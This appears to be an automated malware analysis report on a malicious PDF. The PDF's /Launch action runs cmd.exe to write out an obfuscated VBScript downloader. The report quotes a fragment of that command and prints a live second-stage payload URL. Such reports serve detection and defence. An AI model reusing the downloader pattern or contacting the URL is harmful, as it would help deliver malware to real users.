PDF malware analysis — malicious · d062a4b515ac2dbb

MALICIOUS

PDF

797 B

MD5: d3b23f5a9f1d084f423e8992bf0e399b SHA-1: 69926e31f003fb3a46996d73559c374138d4543e SHA-256: d062a4b515ac2dbbb164403593e9f71dded4d094bc9b5f1b8bd3134921e7249c

150 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The PDF file contains a launch action that executes 'cmd.exe' with parameters designed to echo a VBScript. This VBScript is likely intended to download and execute a second-stage payload from the embedded URL 'http://mfjr.info/n2l/tmp/m.vbs'. The ML classifier strongly indicates maliciousness, and the combination of PDF launch actions and embedded scripts points to a common delivery technique for malware.

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://mfjr.info/n2l/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

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